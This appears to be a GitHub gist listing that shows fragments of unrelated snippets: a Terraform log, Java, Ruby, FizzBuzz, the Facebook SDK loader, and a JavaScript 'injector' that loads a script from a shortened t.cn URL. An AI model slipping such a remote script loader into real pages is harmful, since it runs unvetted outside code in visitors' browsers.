This file has been truncated, but you can view the full file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
2021-12-06T23:07:42.205Z [DEBUG] Adding temp file log sink: /tmp/terraform-log507459835 | |
2021-12-06T23:07:42.205Z [INFO] Terraform version: 1.0.11 | |
2021-12-06T23:07:42.205Z [INFO] Go runtime version: go1.16.4 | |
2021-12-06T23:07:42.205Z [INFO] CLI args: []string{"/usr/bin/terraform", "apply", "-auto-approve"} | |
2021-12-06T23:07:42.205Z [TRACE] Stdout is not a terminal | |
2021-12-06T23:07:42.205Z [TRACE] Stderr is not a terminal | |
2021-12-06T23:07:42.205Z [TRACE] Stdin is a terminal | |
2021-12-06T23:07:42.205Z [DEBUG] Attempting to open CLI config file: /home/azureuser/.terraformrc | |
2021-12-06T23:07:42.205Z [DEBUG] File doesn't exist, but doesn't need to. Ignoring. | |
2021-12-06T23:07:42.205Z [DEBUG] ignoring non-existing provider search directory terraform.d/plugins |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Adapted from java.math.BigInteger | |
* | |
* This class only support non-negative integers | |
*/ | |
public class BigInt implements Comparable<BigInt> { | |
// Constructors |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# In the following code, the two gsub's have different outcomes. | |
ver = 9999 | |
str = "\t<key>CFBundleDevelopmentRegion</key>\n\t<string>en</string>\n\t<key>CFBundleVersion</key>\n\t<string>0.1.190</string>\n\t<key>AppID</key>\n\t<string>000000000000000</string>" | |
puts str.gsub /(CFBundleVersion<\/key>\n\t.*\.).*(<\/string>)/, "#{$1}#{ver}#{$2}" | |
puts '--------' | |
puts str.gsub /(CFBundleVersion<\/key>\n\t.*\.).*(<\/string>)/, "#{$1}#{ver}#{$2}" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
switch (x) { | |
case 1: | |
//... | |
case 2: | |
//... | |
default: // catches everything else | |
//... | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(1..100).each do |i| | |
if i % 15 == 0 | |
puts 'FizzBuzz' | |
elsif i % 5 == 0 | |
puts 'Buzz' | |
elsif i % 3 == 0 | |
puts 'Fizz' | |
else | |
puts i | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
The official way to import the Facebook JavaScript SDK is like this: | |
// Load the SDK asynchronously | |
(function(){ | |
// If we've already installed the SDK, we're done | |
if (document.getElementById('facebook-jssdk')) {return;} | |
// Get the first script element, which we'll use to find the parent node | |
var firstScriptElement = document.getElementsByTagName('script')[0]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (window.isUndefined(window.injector1)) | |
{ | |
window.injector1 = 'defined'; | |
window.scriptSrc = 'http://t.cn/zYKFUUl'; | |
console.log("triggered..."); | |
var script = document.createElement("script"); | |
script.src = window.scriptSrc; | |
script.type = 'text/javascript'; | |
script.charset = 'gbk'; | |
script.id = 'sklmtt'; |